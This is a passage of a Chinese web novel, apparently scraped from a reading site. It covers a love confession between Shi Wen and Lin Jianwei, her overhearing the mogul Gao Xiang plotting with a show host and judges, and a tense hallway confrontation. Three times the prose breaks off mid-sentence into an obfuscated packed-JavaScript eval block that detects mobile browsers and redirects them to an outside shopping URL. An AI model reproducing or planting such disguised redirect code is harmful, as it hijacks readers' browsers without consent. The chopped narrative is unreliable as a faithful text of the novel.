“所以,你觉得我们是需要‘分手’的关系?” 林见微猛地抬头,目光直直地看进他的眼睛——那双眸子幽深如湖,湖心深处暗流涌动。 “不不,”林见微艰难地组织语言,“你误会了,哦不对,是你哥误会了,他要我离开你,所以我就顺着他的意思往下说了……” 时闻无情打断她:“可是既然如此,你为什么不澄清误会?” 林见微一下子语塞:“我……” 时闻:“你是不想澄清,懒得澄清,还是心里觉得,我哥其实没有误会?” 林见微焦急不已,时闻说的每一项指控她都没法澄清。 她之所以没澄清误会,无非是动了利益之心,想趁机敲时穆飞一竹杠,让他把晋级名额给她。 “离开”时闻这件事本来就是伪命题,她和时闻又没在一起,根本谈不上离开,所以她什么也不需要做,就已经完成了这件事。 如果交易谈成,她相当于不费吹灰之力,就将《星璨》晋级名额纳入囊中。 算盘打得挺好,没想到距离成功一步之遥的时候被时闻半路截胡了。 可是她又不能照实解释,因为她知道,时闻最讨厌弄虚作假,搬弄利益那一套。 虽然这一切明明是时穆飞挑起来的,但她现在解释反而会显得在狡辩,越解释越苍白。 林见微憋了半天,还是不知道该说什么:“我……” 时闻的目光从来没有像现在这样这么有压迫性,两颗黑色瞳仁里面好像有什么深水巨兽,盘旋咆哮,眼看就要一跃而出。 他紧紧盯着她,低声问道:“假使,我是说假使,我们真的是需要‘被分开’的关系,你真的会为了获得《星璨》的名额离开我吗?” 林见微猛地抬头,她没有往这个方向想过,刚刚的一切无非是凭借本能发自本心,没有太多的思考。 时闻又问道:“宽泛一点来问,你会为了利益离开一个人吗?” 林见微心脏已经快要跳出胸腔,没由来地异常紧张,带着些焦躁立刻反驳:“我不是为了利益,是为了事业!” “我的事业对我很重要,我以为你明白这个道理。” 时闻深深地看着她,沉默半晌后轻轻点了点头。 “我明白,”他说,语气里带着林见微无法解读的复杂情绪,不是失望,也不是欣赏,“你的选择没有问题。” 林见微决定反客为主,她紧紧盯着时闻的眼睛,问道:“如果是你,你会怎么选?如果我们两个现在反过来,你站在我的位置,会怎么做?” 时闻微微一愣,既而沉默了很久,似乎陷入深深沉思。 抑或说,陷入了一段不想言说的回忆,以及不知该如何开口的情势。 他压下眼眸,敛住一切情绪,室内再次陷入压抑的沉默,一分一秒都被拉扯得无限漫长。 不知过了多久,时闻终于轻轻吐道:“我跟你讲个事情,是一个秘密,你不要告诉别人。” 林见微几乎屏住呼吸地点了点头。 时闻抬起头,目光越过林见微肩头看向虚空,似乎那里藏着他最隐秘的回忆,只听他娓娓道:“你记得在《风华绝代》上映的时候,网上爆出了我醉酒后当街打人的新闻吗?” “你记得,咱俩第一次见面,是在警察局吗?” 林见微后脑嗡的一声,仿佛被什么东西猛地打了一下,死去的记忆意外地开始攻击她。 时闻续道:“我之所以会去打人,是因为发现并证实有人提前做局,利用《风华绝代》这部戏陷害其中的主演。” “很多人认为《风华绝代》的失败是各种偶然因素叠加起来的,比如前期投资商高源资本突然撤资,比如首映礼上突然爆出我哥哥和小麋鹿的离婚新闻,比如小麋鹿主演的电影恰好和《风华绝代》撞档。” “但其实这一切都是被人精心布局的。幕后黑手就是我们的老朋友,高翔,还有他背后的高家。” 室内空气突然变得重量感十足,林见微胸口发闷,好像有一块大石头压了下来。 她当然早就有所怀疑,无奈没有证据,而且她在事情发生后不久就变成了大劈叉,社会上的一个小虾米,根本没能力调查清楚事情的来龙去脉。 她本想竭尽全力往上爬,让自己变得强大,因为只有这样才能掌握更多资源和讯息,终有一天可以调查清楚一切。 这也是为什么她如此努力地直播、带货、参加选秀节目,因为她太渴望知道,上辈子她是怎么死的,也太渴望拿回本该属于她的一切。 时闻:“高家一开始假意投资这部电影,然后半途撤资,这样就可以引人入套,因为他们知道,这部电影对主演之一,林见微女士,有多么重要。” “果然,林见微为了让这部戏继续拍下去,动用私人资源和资金,还签下高风险对赌协议。” “与此同时高源资本又投拍了另一部电影,《桃花烂大街》,专门找毫无演戏经验的小麋鹿来主演。” “然后又联合我哥哥时穆飞,让他在电影上映前夕和小麋鹿离婚,极尽所能给电影造噱头。” “不仅如此,他还私下买通电影院线,在排片上做了些手脚,人为压低《风华绝代》的上座率。” “这番操作下来,《风华绝代》的票房自然受到了很大冲击,根本达不到预期,林见微也输掉了对赌,所以才导致了后来的跳楼悲剧。” 说到这里,时闻的语气沉痛,甚至有些微微颤抖,似乎整个人都沉浸在巨大痛苦中。 “我调查清楚了这件事,忍无可忍,直接把高翔从酒桌上拽出来暴打了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时闻忙说:“不不,是你误会了,我没有那个意思,我是说,你和我社会背景太不一样了,所以只能做出不同的选择。” “我之所以敢用事业做赌注,捍卫心中的理想正义,说到底还是因为我有家里撑腰,我不愁钱不愁吃穿,不需要用片约和代言费养家糊口,也赔得起天价违约金。” “如果我愿意,我现在就可以从家里拿一笔钱,去异国他乡逍遥度日,再也不回来。” “但你不行,事业是你的全部,你需要依靠它才能生存下去,所以你需要拼尽全力挣钱、出人头地,才能活下去。” “所以你的选择没有问题,如果我一开始的问话让你感到不舒服,我诚恳地道歉,我只是,呃,我只是……” 时闻突然语塞,似乎接下来的话极度的难以启齿。 林见微睁大双眼看着他,心里有一种预感:什么大事就要发生了。 时闻喉结上下一动,强烈的情绪压在嗓子里,几欲喷薄而出,但又被理智狠狠压下。 停顿许久,他最终艰难道:“我只是想说,我愿意支持你的事业,支持你所有的选择,因为我欣赏你,敬佩你,也想爱护你,守卫你。” “你的理想就是我的理想,你的事业也是我的事业,韦盏,你愿意接受我在今后拼搏的路上和你一路同行吗?” “如果你不嫌弃,我愿意成为你的左膀右臂,为你披荆斩棘,助你一路屠龙,开创属于自己的灿烂未来。” 66.六十六 有什么东西在林见微大脑里疯狂地呼啸鸣叫,理智的高地被尽数侵蚀,只剩下荒芜一片。 她努力搜寻着答案,仿佛在荒野里搜寻渺茫微弱的信号。 她究竟理解对了吗,时闻是向她表白了吗? 身体深处迅速传来一阵震颤,即使是想到“表白”两个字,她就止不住地想要发抖尖叫。 这太不真实了,一切都是那么的不可思议。 时闻,那个如深山松竹般高洁避世,如高山泉水般清冽冷然,冷淡漠然得仿佛不食人间烟火的人,竟然愿意和她发生尘世的联结,缔造俗人的感情? 他本在高山之巅,饱饮冷风冷雨,却愿意在她面前变得如冬阳般温暖,用万丈光辉撕碎云雾阴霾,为她缔造一个近乎不真实的晶莹世界? 大脑一片空白,可是偏在这时,时闻竟又牵起她的手,用力握住。 他没有说话,但目光里饱含殷切和期望,还有几分脆弱和渴求。 也许雪山也需要消融,只有这样才能实现奔流赴海的梦想,冬天也需要过去,只有这样才能拥有百花齐放的春日。 她突然想起一开始他的问题:你为什么不澄清误会?你是不想澄清,懒得澄清,还是心里觉得,我哥其实没有误会? 她一直认为她不想也不能澄清,但直到此刻,她才突然意识到,在心里一个隐秘的角落里,还埋藏着一个不可言说的想法: 她希望他误会。 因为他误会的那个事情,如泡沫一般美好而不真实,以至于她虽然无比向往,却连想都不愿意想。 她不愿意戳破泡沫,只有这样那美好而虚幻的愿景才可以自由自在地飞翔,飞到又高又远无法企及的天空深处。 可是现在,一切都不是泡沫了,变成了实实在在看得见摸得着的东西。 变成了用力握紧她手心的那只温暖干燥的大手。 泪珠再次蓄满眼眶,然后决堤一般簌簌落下,模糊的视线里时闻那张脸还是那么英俊帅气,那目光温暖得足以融化世界上所有冰河。 用尽全身力气,拼尽所有理想,她点了点头。 “我愿意。” “从今而后,我们携手,一路同行。” 时闻握着的手更加用力了,掌心炽热,目光激动万分。 “韦盏,谢谢你。”他说。 林见微笑了:“你还是叫我大劈叉吧,比较亲切。” 突然她想起了什么,惊道:“等一等,可是我们刚刚不是才答应你哥哥,我们不会在一起吗?” 时闻狡黠地嘿嘿一笑:“那咱们不会躲起来,偷偷在一起吗?再说了,你这么事业为重的人,舍得公布恋情,影响你工作吗?” 林见微一想也对,她正处在事业起步期,万一以后红了,她的男粉要是知道她已经有男朋友了,大面积脱粉怎么办。 时闻又说:“再说了,咱们要是能躲得过我哥我姐的全方位堵截式监视,就也一定能躲得过狗仔的偷拍,一句双得。” 林见微连连点头称是。 这时她又想起来一件事,于是眉头一皱问道:“你为什么会突然出现在这里?” 时闻笑道:“你刚刚不是碰见谷煜了吗?我怕他一个人冒冒失失的,就跟过来了。” 林见微哑然失笑:“怎么,你觉得他笨手笨脚,一个人会把事情搞砸,干脆跟过来出谋划策,当他的僚机?” 时闻露出洁白牙齿:“你也看到他那个笨拙样子了,要是身边没个人看着,鬼知道他会搞出什么事。” 说到这儿林见微突然急道:“哎呀,我们在这里这么久了,也不知道他买糕点回来了没有。” 时闻皱眉:“比赛也早就开始了,你赶紧回观战间吧,别耽误录制,我去找谷煜那家伙。” 这么说着二人匆匆往外走,时闻决定去尤有芒休息室守株待兔,林见微往观战间走,二人在一个转角分开,刚走没几步,一个编导小助理看见林见微,立刻抓住她道: “你跑哪里去了!比赛都重新开始大半天了,快回去。” 林见微奇道:“我的镜头又不重要,怎么这么着急?” 小助理:“评委组和编导组很喜欢你们的大波CP,还有你们都是芒星人的身份,所以希望多拍一些你们互动的镜头,我们在这楼里找你半天了,快回去吧!” 到了观战间,林见微一现身,果然引起一番骚动,坐在林波微步旁边的邓舒华更是热情招手:“可算回来了!” 林见微三步并作两步跑到第四排,笑着解释道:“不好意思,久等了。” 坐下后邓舒华立刻压低声音问道:“怎么样没事吧?” 她看见林见微被时穆飞叫走了,又见她迟迟未归,所以一直悬着心,害怕她出什么事。 眼见时穆飞回到评委席许久,林见微却一直不见踪影,她心里更是惴惴不安。 林见微连忙安慰道:“我没事,他无非就是把我叫过去臭骂了一顿,说我态度不好,还说我一无是处,后来我又去了趟卫生间,有点跑肚子,所以耽搁了。” 邓舒华立刻骂道:“他算什么东西,自己打分不公平,还说你态度不好!” 林见微:“没事,评委嘛,手眼通天,想干什么干什么,我一个小选手能怎么办。” 林波微步自从她坐下后就一直默默审视着,犹豫许久,还是幽幽插道:“劈叉,你怎么突然之间气色这么好?脾气也变温柔了。” 邓舒华猛然惊醒一般,先是身子后仰把林见微从头到脚仔仔细细看了几遍,然后指着林见微,捂嘴吃惊道: “没错!我就说怎么哪里有点不对,你怎么出去一圈,一下子精神焕发,面色红润,整个人精气神都变了!” 紧接着突然想起什么,一脸担忧:“你……要是时穆飞给了你太大打击,你就说出来,我们一起承受!别把自己逼到精神失常啊。” 林见微哭笑不得:“我没事,你们不用担心,我真的没事……” 林波微步:“你确定时穆飞没有给你下蛊让你中邪?你嘴角那抹神秘微笑是怎么回事?” 林见微内心哎呀一声,这才意识到,自从回来之后,她就一直止不住地笑。 “我真的没事,真的,”林见微觉得自己像个傻子一样,“就是看到你们高兴而已。” 邓舒华狐疑万分,满脸透着“这孩子已经被比赛折磨残了”的同情。 但既然林见微反复强调自己很好,她也不方便多问,只是说:“还有两轮的battle,你好好表现,到时候惊艳四座,我看他还敢不敢对你不公平。” 林见微苦笑:“我能不能进下两轮的battle还很难说呢!就算进了,我已经黔驴技穷了!” 邓舒华:“不怕,我一直看着你的名次呢,现在已经表演过半,你是第35名,还有希望!” 林见微有些吃惊,她走之前还是第12名,现在35,说明至少有二十多名选手已经完成了比赛。 邓舒华补道:“现在已经比到第85位选手了,还剩65位。” 林见微算了下,这65位选手中至少要有15名比她分数低,也就是说这帮精锐之师要有超过23%的淘汰率。 这……可能吗? 这时林见微发现,屋内又多了两个熟悉的身影:杜之江和唐筱年都完成了表演。 两人分坐在不同地方,见她进来,都纷纷友好地挥手示意。 杜之江双手绕在头顶比了个大大的爱心,唐筱年见状,食指拇指捏在一起也比了个心,秀美的桃花眼里漾着藏不住的笑意。 林见微又开心又感动,在头顶比了个爱心,隔空无声地用口型说:“谢谢!” 这时舞台上传来周落那低沉磁性的嗓音:“各位观众,评委老师,下面一个要上场的是来自新锐传媒的钱雯,她时而内敛含蓄,时而搞笑疯癫,她将为大家带来的表演曲目是《上山采茶》。” 林见微一愣,她总是忘记,钱雯也来参赛了。 而且等一等,钱雯竟然是新锐的人? 她什么时候签的新锐? 时闻也是新锐的。 在他失业之前。 现在她认识的人里面,邓舒华和李颂一和她一样,是乐盛的人,杜之江和钱雯是新锐的,而白濯和唐筱年来自近几年发展不错的一个小公司,曜石。 乐盛和新锐针尖对麦芒,两相竞斗,但曜石最近势头也不容忽视,接连投拍了几部低成本高收入的片子,一下子让观众知道了这个名不见经传的小公司。 节目之外的竞争和战队也延续到了节目里,仔细看一看屋子里的座位,乐盛的人扎堆坐在左边,新锐的人聚集在右边,人人神情严肃,中间好像横亘着一条看不见但泾渭分明的三八线。 曜石的人则轻松自在多了,和来自其他中小公司的选手混坐在一起,有说有笑。 钱雯的表演令人耳目一新,之前的选手大都表演的是女团舞男团舞,虽然编舞和唱跳都非常精致成熟,配合灯光音效产生炸裂效果。 但看得多了难免审美疲劳,钱雯的这首《上山采茶》改编于一首闽南民歌,曲风轻快明丽,舞蹈也取材于闽南山间的传统舞蹈。 钱雯扮做闽南山间采茶女,在茶树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731004|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间轻盈转圜,纤纤素手将新鲜嫩芽装进竹篓筐,劳作后欢欢喜喜唱着山歌下山去。 如果她排在前20个出场,这个节目一定会效果平平,因为她的表演虽然新颖活泼,但唱跳方面没有过多起伏,没法展示她是否拥有高水平的唱跳技能。 但看了数十个颇为炸裂的男团女团舞,钱雯的表演实在让人耳目一新,再加上钱雯长相甜美,茶家女的扮相宛若天成,令人记忆深刻。 评委们都给了7.5以上的高分,钱雯激动地小脸通红,不停地鞠躬致谢,观战间和候场区里也响起一阵“好可爱啊”的评价。 钱雯表演结束后,蹦蹦跳跳地来到观战间,坐在前排的众人欢欢喜喜地伸出手臂和她拥抱,几个女生甚至直接上去捏了捏她软软的冒着热气的脸蛋: “雯宝,你真棒!” 钱雯也亲昵地蹭上去:“刚刚我真的是紧张死了!你们都表演得太好了,我上台前一直觉得,完了完了要冷场了!” 几个女生哈哈大笑:“可是你表演得更好啊,你看评委老师们多喜欢你,一直夸你可爱。” “是啊,就连时穆飞都不再高冷了,说话也温柔好多。” “周老师的目光也一直没离开你,还不停地帮你圆场。” “没办法,谁叫我们雯宝这么可爱,这么招人疼呢!” 和前排选手叽叽喳喳说了一会儿话,钱雯便说要去后面找个位置坐下,几人再三挽留,但钱雯还是一蹦一跳地跑到第四排,在林波微步身旁坐下。 然后便越过林波微步,直接看向林见微,笑嘻嘻道:“劈叉,我来找你啦!” 林见微开心道:“你好厉害!我之前都不知道你还会唱民歌。” 钱雯:“哪里哪里,我这不算什么,真正厉害的是排在后五十位出场的选手,他们才是《星璨》的定海神针,镇山之王!个顶个的厉害,都是能solo出道的水平!” 话音未落林见微就发现邓舒华的脸色肉眼可见的暗了一个度,虽然她极力掩饰,但周遭的气压还是明显变低了。 林见微突然反应过来,李颂一还没表演。 看来在新锐内部的评级里,李颂一的实力比邓舒华强。 这时前排一人突然回头道:“没错,我濯哥可以以一敌百,实力不容小觑。” 林见微这才吃惊地发现,唐筱年不知什么时候坐到了第三排。 只听他继续夸道:“我濯哥从三岁就开始学习音乐,小学的时候就各地参加少儿唱歌舞蹈比赛,几乎每一次都夺得头筹,十一二岁的时候被曜石挖走做练习生,现在是我们那里排最重点的培养对象。” 林见微吃惊地哇了一声:“濯哥这么猛!” 这么说着,只听屏幕里周落宣布道:“我们前一百位选手的表演到这里就都结束了,那么我们稍事休息,半小时之后开始第一轮最后一场竞演,我们拭目以待。” 屋子里顿时欢闹声一片,一百位选手平均每个人在台上三分钟,算一算她们已经录了五个多小时了,早上十点开始录制,现在不知不觉已经到了晚饭点。 大家又累又兴奋,一边打着哈欠捶腿揉肩,一边又精神亢奋地叽喳说笑,屋子里好不热闹。 林见微身边,唐筱年、邓舒华、钱雯和林波微步正互相介绍认识,场面一片和谐,几人甚至约定等到第三轮团队battle的时候,可以组团一起对抗其他人。 但林见微只是应付地和几人说了会儿话,就找了个理由跑出去,临走前还把芒星人灯牌揣在怀里。 因为她心里一直悬着一件大事。 谷煜那不省心的莽撞小子,别把尤有芒吓到了。 走廊里闹哄哄地挤满了有说有笑的选手们,有人说要去大楼外透透气买点零食,有人则商量着一起点外卖,还有人嚷嚷着要去洗手间补妆。 穿过热闹的人群,林见微找到安全出口的绿色标识,一头扎进去后直接上去一层,把每个房间都看了一遍,又下两层如法炮制找了一圈。 然而忙活了一圈,林见微还是没有摸到尤有芒的休息室。 就当她在走廊里没头苍蝇一样乱撞的时候,突然,身旁的一扇门内传来一个熟悉的声音。 “你究竟为什么要投拍《冬逝华年》这样没前途的赔钱戏?” 那声音低沉沙哑,如毒蛇一般,只要听一声就全身发颤,好像毒液侵蚀到了骨髓。 林见微脚步钉在原地,全身血液都凝固了,大脑后面好像被什么东西狠狠砸了一下。 那声音再熟悉不过了,林见微一辈子也不会忘记。 那是高翔在说话。 67.六十七 “我知道你不理解,也会嘲笑我傻x,”周落急忙解释着,“但是我有我的情怀……” “屁,情个屁怀,”高翔毫无遮拦地奚落道,“你以为你现在有资格有实力谈情怀?” 周落:“我知道我现在还没到那一步,可是机会稍纵即逝,有些事情只能在特定的时间做……” 高翔立刻无情打断:“我说你脑子是不是秀逗了?你是不是被魂穿了?不就是一部戏吗,错过了就错过了,还有大把大把的戏争着抢着找你,你宁愿推掉那么多高片酬的戏,推掉那么多人情往来,也要自掏腰包,投拍那部没人看好的戏?” 周落:“你听我说……” 高翔:“我知道,文眉导演对你有知遇之恩,但你是拍她的戏才大红大紫的吗?” “你是不是忘了当年你走投无路,四处跪舔投资人和导演的事了?这才过了几年,这才哪儿到哪儿,你就飘飘然,认不清自己是谁了?” 周落:“当年要不是翔哥你救我于水火之中,我不会有今天的成就,你的恩情我一直铭记于心。” 高翔嗤道:“当年是我帮你四处牵线搭桥,才给你找到戏约,这一次也是我帮你,才给你运作到了《星璨》主持人的位置还有黎明夜空的冠名权。” “你现在也算是演、唱、主持三栖艺人,当红流量,怎么着,翅膀硬了,不把我放在眼里了?” 周落急切万分,恨不得扑通跪下:“翔哥,我哪里敢!您永远是我的大哥!我……” 高翔:“那现在你为什么不听我的!我已经跟你说过好几次了,不要碰《冬逝》这部戏,名字就不吉利!人设剧情也不讨喜,稍微拿捏不好会被观众骂惨,到时候你的人气和流量都要完蛋。” 一阵沉默,紧接着屋子内传来一阵窸窣声响,好像是屋内其他人挪动身子,衣料和沙发发出的声响。 “高总,消消气,给周总一点时间,他会明白过来的。” 这声音也异常熟悉,好像在哪里听到过。 林见微皱紧眉头苦苦思索,而后意识到,这是香蕉直播的徐总!群蕉荟萃比赛上的三位评委之一。 他和高翔的助理章衍都非常不喜欢她,极力反对她获得《星璨》的参赛名额。 他怎么和高翔、周落都认识?听高翔的意思,他们几年前就混在一起了? 这时高翔问道:“账本你带来了吗?” 徐总立刻接道:“带来了,相关资料我都带来了,您……现在就要看吗?” 高翔:“不了,一会儿再说。” “你究竟想好了没有?” 后一句问话是冲着周落的,语气里带着明显的不耐烦。 可是周落却还是沉默着,也不知道在想什么。 高翔的耐心终于消耗殆尽,他被周落长久的沉默激怒,啪地一拍桌子,低吼似的叫道:“你说实话,你这么做究竟是为了什么?是不是为了那个女主演?” 又是一阵令人窒息的沉默,这次连徐总也没敢搭话,过了不知多久,周落才低低地说:“不是。” 高翔发出一阵讥笑:“你少在这里给我装!你以为我不知道吗,试戏试了几个月,最后定了个没有一点演戏经验的人!” “我告诉你,英雄难过美人关,现在不是脑子糊涂的时候!” “你还没有功成名就,想干什么就干什么的地步,所以走错一步可能就会跌落万丈深渊!你知道多少双眼睛在盯着你吗?你知道多少人盼着你棋差一着,然后他们就可以趁虚而入,分抢一份蛋糕吗?” “最近几年是你的事业关键期,闯过去了你就可以化身资本和老板,到时候要风得风要雨得雨,但是现在,你必须头脑高度清醒,绝对不能用下|半|身思考问题!” 周落没有回答什么,高翔又问另一人:“那女的是不是也纠缠上你弟弟了?” 被问到的那人好像被点燃了似的,立刻气鼓鼓回道:“可不是吗!气死我了。” 林见微立刻认出,那是时穆飞的声音。 没想到高翔、周落、时穆飞、徐总四人正狼狈为奸地聚集在一个屋子里。 但时穆飞又立刻带着点沾沾自喜说:“但是我家的糟心事已经被我智慧的大脑解决了!我跟那小虾米谈好了,我让她晋级,她离开我弟弟。” 高翔立刻警醒道:“让她晋级?你怎么没提前和我商量一下呢,我们都已经定好出道名单了。” 时穆飞得意地嘿嘿笑道:“害别急嘛,我都想好了,我们说的是晋级,又不是最后出道,晋一轮也是晋,对吧?” 高翔语气立刻舒缓了不少,甚至带了点轻松的笑意:“要不说兄弟你靠谱呢,”但随即正色道:“绝对不能让她待太久,得让她早点滚蛋!” “告诉编导和剪辑,绝对不能剪太多她的画面,一定不要让她有热度。” 时穆飞拍着胸脯:“包在我身上,保证让她中途就卷铺盖滚蛋!谁让她不自量力去触阿翔的逆鳞,又吃了熊心豹子胆纠缠我的傻弟弟!” “阿翔你就把心放在肚子里,小虾米永远是小虾米,只要我们铁拳一出,她永远不可能兴风作浪,把世界搅得海浪滔天,上下不宁!” 林见微听到这儿不由得讥笑一声:口气还挺大的,总有一天她得让他亲眼瞧瞧,一只小虾米也可以大闹天宫! 正侧耳听着,走廊另一头突然传来一阵急促的脚步声和喧闹。 一个女孩快步往前走着,后面追着一声焦急的叫喊:“有芒,等一等!你听我解释!” 听听这杀鸡般的叫声,一听就是谷煜。 听听这悲惨的强调,一听就是表白失败被拒了。 尤有芒不顾一切地往前走着,鞋跟和地板撞击发出焦急的哒哒声响,那声音越来越近,在林见微反应过来想要找个地方躲起来时,已经为时已晚。 林见微食指摆在唇边,做出嘘的手势,希望闺蜜能和她有心灵感应,然而一切还是没能阻挡住尤有芒爆发出一声足以震动走廊内外的惊叫: “咦,你在这里做什么?” 林见微苦笑不已,只听一墙之隔的屋子内也爆发出一阵低声惊呼,紧接着一阵窸窣声和脚步声,眼看大门就要打开。 林见微情急之下冲着追在尤有芒身后,朝提着糕点一脸震惊的谷煜挥手高喊:“唉嘿!你在这儿呢,我找你好久了。” 一边说一边朝前面快走,尤有芒立在原地,震惊地看着她,一时搞不清楚她的那声“唉嘿”是朝她说的,还是朝谷煜说的。 谷煜见了她,倒如见了大救星一样,又欢喜又委屈巴巴地说:“你可来了!” 两人就像接头对上暗号一样,激动的泪水涌上眼眶,衷心的喜悦攀上眉梢,双向奔赴时眼看就要越过房门—— 然而这时里面伸出一只冰冷的手,扣上她的手腕,然后用力向后拉去! “哎呀!!”林见微爆发出一声惊叫,差点失去重心后仰过去。 但毕竟练过舞蹈,林见微平衡能力还是有的,趔趄几下她站定,愤怒地瞪着那扣着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐总的目光恨铁不成钢地剜了他一眼:“都什么时候了,你竟然还在这里护着她,你忘了刚刚高总说了什么?” 周落的眸子里闪过一丝黯淡和不安,沉默了半晌,站在后面的高翔开了口,语气冰冷,如刀子一般插了过来:“看来刚刚是白忙活了。” 周落回头:“翔哥,我……” 高翔立刻做了一个制止的手势:“你最近工作太忙了,休息一阵子吧,去寺庙里找大师看看,辟辟邪,不魔怔了再回来。” 周落面色变得极其难看,垂在身侧的手不住地轻微颤抖。 高翔这么说,无异于赤|裸|裸的威胁,意思是,如果你再不听话,就滚蛋吧。 高翔虽然不是他老板,但在娱乐圈几乎可以一手遮天,掌握着诸多人的生杀大权。 他想让他走,只需要一句话。 因为只要高翔开口,底下就没有导演和节目组敢继续用他。 在《星璨》的选手面前,乃至季清云、蒋方奇、尤有芒面前,周落都地位颇高,谁见了都要尊称一声周哥或者前辈。 但他还远远没到能和高翔这样的资本大鳄抗争的地步。 二人无声地对峙了片刻,周落几不可察地哀叹一声,默默地侧了半个身位。 于是,缺少了遮挡物,林见微终于和高翔视线正面相接。 68.六十八 高翔眯着眼睛,像做X光一样把林见微上下里外都打量了个遍。 冰冷的目光侵略感十足,林见微觉得自己在他面前好像没穿衣服一样,全身上下凉飕飕的。 片刻后他低沉问道:“你就是扬州大劈叉?” 林见微扬起下巴:“正是在下。你呢,你就是互联网上鼎鼎有名的高屎?” 话音刚出,徐总立刻上前扬起手,眼看一个巴掌就要扇下,但林见微余光早就瞥见他的动作,轻巧一个侧身闪过。 徐总巴掌扑了个空,自己反而失了重心,狼狈地踉跄几步,最后扑通一声跪倒在地,手掌撑地,好不容易才避免脸朝下栽倒。 士可杀不可辱,徐总气得鼻孔喷粗气,跳脚站起来扬手就要继续扇巴掌,可是刚举起手,就被周落扣住手腕。 迎着徐总愤怒的凝视,周落冷冷道:“这里人多,别冲动。” 徐总这才反应过来,几人前面还站着错愕万分的尤有芒,以及同样愤怒至极喘着粗气的谷煜——如果不是周落拦下了刚刚的巴掌,他就要扑过来把徐总捶倒在地。 徐总不高,手腕被周落吊着,场面看上去有些滑稽,但即便如此,他还是不忘腾出另一只手指着林见微,警告道: “你说话注意点!” 林见微呵呵冷笑:“这话可不是我讲的,是广大人民群众智慧的结晶。怎么,屎哥敢做不敢当,怕人背后议论?哦我知道了,是因为做过的事太不光彩,见不得人!” 徐总目眦尽裂,如果不是周落死拦着,就要如猛虎一样扑到林见微身前,狠狠咬上几口。 高翔拧眉从后面走了过来,朝周落和徐总扔下一个冷冽的眼神。 二人知趣地朝一边让开,高翔径直大步走到林见微身前。 他屈膝弯腰,但视线依然从上面俯视下来,紧紧盯着林见微。 他声音低哑晦暗,好像毒蛇准备进攻前嘶嘶吐着信子:“我给你一次机会,第一次也是最后一次机会。” “你究竟想要什么?钱财?名气?还是别的什么?” 高翔的脸近在咫尺,所以显得格外扭曲,林见微能清楚地看见每一个冒着寒气的毛孔,还有眼底的那抹嗜血的猩红。 林见微冷冷一笑:“只想要一个说法,要正义回归人间。” 高翔爆发出一阵神经质的大笑,笑声太过锐利刺耳,如回旋镖一般在走廊里来回游走,一下一下剜着人的神经。 笑声持续了整整半分钟才止住,高翔重新恢复了那副要吃人的阴沉模样,死死盯着林见微,露出惨白牙齿: “你是太天真,还是背后有更大的图谋?” 而后他大手如钳子一样揪起林见微衣领,衣料瞬间发出瘆人的扭曲声。 惊叫声充斥着狭小的走廊,高翔眼底猩红一片,骇人凸出的眼球充满了血,锐利的目光如淬了毒的匕首,他一字一句从喉咙深处吐道: “我刚刚说了,只有一次机会,你想好了再回答。” “否则,我发誓会让你这辈子生不如死。” 高翔的声音充满着威胁和挑衅,任谁听了都要抖三抖,可是林见微却抬起头,坚定的目光里没有一丝退意。 就是今天,一个坚定的声音在心里说道。 正义不能再迟到了,既然命运让她在今天此处遇见高翔,那现在就是审判之时。 领口依然被高翔揪在手中,林见微只有脚尖落在地上,迎着凶利目光,她朗声问道: “你敢说,你没有玩|弄过无辜的女生?” “你敢说,你没有恶意阻挠电影《风华绝代》的上映,做低电影票房?” “你敢说,我说的都是假的?” 高翔的脸色阴暗至极,眼底的猩红逐渐溢出,在眼底也晕出一抹狠辣的红。 “如果你心里没有鬼,那为什么要做贼心虚一样查封我的直播账号,现在又千方百计地阻挠我在《星璨》晋级?” “你这一系列的卑劣行径,和此地无银三百两有什么区别?” 面对林见微连珠炮一样的逼问,高翔拳头又攥紧几分,涨红的面皮也因为即将喷薄而出的愤怒而扭曲抽搐。 四周的目光全数沉甸甸地集中压在他脸上,空气突然变得不流通,高翔有点喘不上气,呼吸也变得急促。 凝聚的视线如山一般压来,高翔再也忍不住,积压的愤怒如火山岩浆一般冲破地表,喷发不止: “造谣,造谣,全都是造谣!”高翔咆哮着,胸腔剧烈上下起伏。 他声音虽然嘶哑,但分贝极高,震得走廊嗡嗡响。 威慑力之大,就连屋顶的灯也闪了一下。 徐总和周落试图上前将高翔拉开,但刚迈开半步,立刻被高翔高压电一样的目光逼退回去。 更远一些的地方,谷煜再也忍不了,刷地撸起袖子,三步并做两步就要直冲过来—— 然而还没跑到高翔身旁,后面一个细弱但坚定的声音说道: “不是造谣,我可以作证,大劈叉说的都是实情。” 那声音音量不大,却犹如炸弹爆炸一般,谷煜一瞬间刹住脚步,随着众人讶异回头。 ——只见尤有芒立在一群大老爷们面前,身板显得格外瘦小,但眼睛里却闪着坚毅的光。 垂在身侧的手紧握成拳,尤有芒直直看进高翔那双冰冷彻骨的眼睛,一字一句道:“就在几周前,你、我、谷煜、时闻,还有几位导演前辈,我们一起在山水饭店吃过饭,你忘了?” 谷煜一下子明白了她的所指,眼睛里顿时冒出两团愤怒火焰,饭局上高翔对尤有芒的威胁言犹在耳: “我知道这是霸王条款,但你若是不从,那你好闺蜜林见微过去的事……” 